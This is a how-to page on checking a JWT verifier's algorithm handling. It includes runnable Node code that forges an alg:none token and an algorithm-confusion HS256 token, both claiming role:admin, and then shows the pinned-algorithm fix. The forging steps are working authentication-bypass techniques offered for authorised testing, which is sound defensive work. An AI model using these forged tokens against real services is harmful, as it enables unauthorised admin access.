How to check JWT algorithm

Decode the first segment and read the alg field: one node -e prints {"alg":"HS256","typ":"JWT"}. The value matters because a verifier that chooses its algorithm from that field will accept alg: none, and will accept an HS256 token whose HMAC key is the issuer's RS256 public key.

Why check this

alg is the only field in a JWT that tells the verifier how to check the rest, and it is supplied by whoever sends the token. Run this check on any service that is new to the token chain, after a library upgrade, and whenever the issuer switches between symmetric and asymmetric signing. It catches the verifier that trusts the header: send it the token from step 3, which carries role: admin and no access to any private key, and if the endpoint answers 200 the entire authentication layer is decorative.

Prerequisites

Steps

  1. Step 1.

    Read the header of the token the service issues today.

    node -e "
    const h = process.argv[1].split('.')[0];
    const header = JSON.parse(Buffer.from(h, 'base64url').toString('utf8'));
    console.log('header', JSON.stringify(header));
    console.log('alg   ', header.alg);
    console.log('kid   ', header.kid === undefined ? 'absent' : header.kid);
    " eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI0MiIsInJvbGUiOiJ0ZXN0ZXIiLCJpc3MiOiJoMmNoZWNrLWxvY2FsIiwiaWF0IjoxNzU3NTAwMDAwLCJleHAiOjE3NTc1MDM2MDB9.1LVq5DRuwVY-C2EhoGUUYJA9qmygc_w_4HhMay9pVKg
    
    header {"alg":"HS256","typ":"JWT"}
    alg    HS256
    kid    absent

    Write the value down. Everything below asks whether the verifier insists on it or merely reads it.

  2. Step 2.

    Build an alg: none token and run it through a verifier that takes the algorithm from the header.

    node -e "
    const c = require('crypto'), fs = require('fs');
    const b64 = (o) => Buffer.from(JSON.stringify(o)).toString('base64url');
    function verifyByHeader(token, key) {
      const [h, p, sig] = token.split('.');
      const alg = JSON.parse(Buffer.from(h, 'base64url').toString('utf8')).alg;
      if (alg === 'none') return sig === '';
      if (alg === 'HS256') return c.createHmac('sha256', key).update(h + '.' + p).digest('base64url') === sig;
      if (alg === 'RS256') return c.verify('sha256', Buffer.from(h + '.' + p), key, Buffer.from(sig, 'base64url'));
      return false;
    }
    const token = b64({ alg: 'none', typ: 'JWT' }) + '.' + b64({ sub: '42', role: 'admin' }) + '.';
    console.log('token          ', token);
    console.log('signature      ', 'empty');
    console.log('verifyByHeader ', verifyByHeader(token, fs.readFileSync('jwt-public.pem', 'utf8')));
    "
    
    token           eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiI0MiIsInJvbGUiOiJhZG1pbiJ9.
    signature       empty
    verifyByHeader  true

    The token ends in a dot with nothing after it, and the verifier reports success. Send this exact shape to the endpoint under test.

  3. Step 3.

    Forge an HS256 token whose HMAC key is the issuer's RS256 public key, then hand it to the same verifier.

    node -e "
    const c = require('crypto'), fs = require('fs');
    const pub = fs.readFileSync('jwt-public.pem', 'utf8');
    const b64 = (o) => Buffer.from(JSON.stringify(o)).toString('base64url');
    function verifyByHeader(token, key) {
      const [h, p, sig] = token.split('.');
      const alg = JSON.parse(Buffer.from(h, 'base64url').toString('utf8')).alg;
      if (alg === 'none') return sig === '';
      if (alg === 'HS256') return c.createHmac('sha256', key).update(h + '.' + p).digest('base64url') === sig;
      if (alg === 'RS256') return c.verify('sha256', Buffer.from(h + '.' + p), key, Buffer.from(sig, 'base64url'));
      return false;
    }
    const h = b64({ alg: 'HS256', typ: 'JWT' });
    const p = b64({ sub: '42', role: 'admin' });
    const forged = h + '.' + p + '.' + c.createHmac('sha256', pub).update(h + '.' + p).digest('base64url');
    console.log('issuer signs with', 'RS256');
    console.log('forged header alg', 'HS256');
    console.log('hmac key used    ', 'the public key PEM, byte for byte');
    console.log('verifyByHeader   ', verifyByHeader(forged, pub));
    "
    
    issuer signs with RS256
    forged header alg HS256
    hmac key used     the public key PEM, byte for byte
    verifyByHeader    true

    This is algorithm confusion. The verifier holds one key for both branches, and a public key is public, so the attacker holds the HMAC secret too.

  4. Step 4.

    Pin the expected algorithm and run all three tokens through the fixed verifier.

    node -e "
    const c = require('crypto'), fs = require('fs');
    const pub = fs.readFileSync('jwt-public.pem', 'utf8');
    const b64 = (o) => Buffer.from(JSON.stringify(o)).toString('base64url');
    function verifyPinned(token, key, expected) {
      const [h, p, sig] = token.split('.');
      if (JSON.parse(Buffer.from(h, 'base64url').toString('utf8')).alg !== expected) return 'rejected: alg mismatch';
      return c.verify('sha256', Buffer.from(h + '.' + p), key, Buffer.from(sig, 'base64url')) ? 'accepted' : 'rejected: bad signature';
    }
    const none = b64({ alg: 'none', typ: 'JWT' }) + '.' + b64({ sub: '42', role: 'admin' }) + '.';
    const hh = b64({ alg: 'HS256', typ: 'JWT' }), pp = b64({ sub: '42', role: 'admin' });
    const forged = hh + '.' + pp + '.' + c.createHmac('sha256', pub).update(hh + '.' + pp).digest('base64url');
    console.log('alg=none token', verifyPinned(none, pub, 'RS256'));
    console.log('forged HS256  ', verifyPinned(forged, pub, 'RS256'));
    console.log('genuine RS256 ', verifyPinned(fs.readFileSync('rs256.token', 'utf8'), pub, 'RS256'));
    "
    
    alg=none token rejected: alg mismatch
    forged HS256   rejected: alg mismatch
    genuine RS256  accepted

    One comparison before the signature check removes both attacks. That comparison is the whole fix, and it belongs in the verifier, not in a gateway rule.

How to read the result

| What you see | What it means | What to do | | --- | --- | --- | | alg is RS256 or ES256 | Asymmetric signing | Confirm the verifier pins it. A pinned RS256 verifier cannot be pushed into HMAC. | | alg is HS256 | Symmetric signing | Every service that verifies also holds the power to mint. Count how many services hold that secret. | | alg is none | The token is unsigned | Reject it at the verifier. RFC 7518 registers none for JWS objects whose integrity is guaranteed elsewhere. | | The step 2 token gets a 200 | The verifier trusts the header | Critical finding. Any payload is accepted from any sender. | | The step 3 token gets a 200 | Algorithm confusion is live | Critical finding. The public key doubles as the signing secret. |

Common mistakes

Sign: The verifier is called with the key and no algorithm argument.Cause: Most libraries then read alg from the token, which is the attacker's field. The algorithms option exists in every maintained library and is left out because the code works in the happy path without it.
Sign: alg: none is blocked, so the check is marked as passed.Cause: The none case is the one library authors fixed years ago. Algorithm confusion in step 3 uses a real signature with a real algorithm, so a none filter never sees it.
Sign: The public key is treated as harmless because it is published.Cause: Publishing it is correct. Feeding it to an HMAC branch is not. The key being public is exactly what makes the forged HS256 token reproducible by anyone who reads the JWKS endpoint.
Sign: The gateway strips unusual alg values, so the service is considered covered.Cause: Any path that reaches the service directly, such as an internal call or a second ingress, skips the gateway. The algorithm has to be pinned where verification happens.

What to check next

FAQ

Where is the algorithm stored in a JWT?

In the alg field of the header, the first of the three dot-separated segments. Step 1 decodes it. Nothing outside the token carries the value, which is the root of the problem on this page.

Is alg: none ever legitimate?

RFC 7518 registers it for objects whose integrity is already assured by other means, such as a payload delivered inside a signed envelope. In an HTTP bearer token it is not, so the verifier should reject it by name.

How do I test for algorithm confusion against a live service?

Fetch the issuer's public key from its JWKS or metadata endpoint, run step 3 with that key, and send the result to an endpoint you are authorised to test. A 401 is the pass.

Which algorithm should a service use?

Whichever one it pins. RS256 keeps the signing key in the issuer alone, which matters once more than two services verify. HS256 is sound when exactly one component signs and verifies.

Does checking alg replace checking the signature?

No. Pinning alg decides which check runs; the signature check decides whether the bytes are the issuer's. Step 4 does both, in that order, and the order is the point.

Verified

Verified by Maks Vernynode 22.23.2

Each output block is what the command above it printed on that date, on the host named in the step. Figures read from a live site move between runs. Compare the shape of the answer rather than the digits, and see the methodology for how a page is re-verified.

intermediate6 minpublished updated Maks Verny